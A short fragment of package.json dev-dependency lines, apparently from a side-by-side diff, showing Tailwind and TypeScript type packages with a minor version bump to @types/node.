"@tailwindcss/vite": "^4.1.18", "@tailwindcss/vite": "^4.1.18",
"@types/mdx": "^2.0.13", "@types/mdx": "^2.0.13",
"@types/node": "^25.0.8", "@types/node": "^25.0.9",
"@types/react": "^19.2.8", "@types/react": "^19.2.8",
"@types/react-copy-to-clipboard": "^5.0.7", "@types/react-copy-to-clipboard": "^5.0.7",
"@types/react-dom": "^19.2.3", "@types/react-dom": "^19.2.3",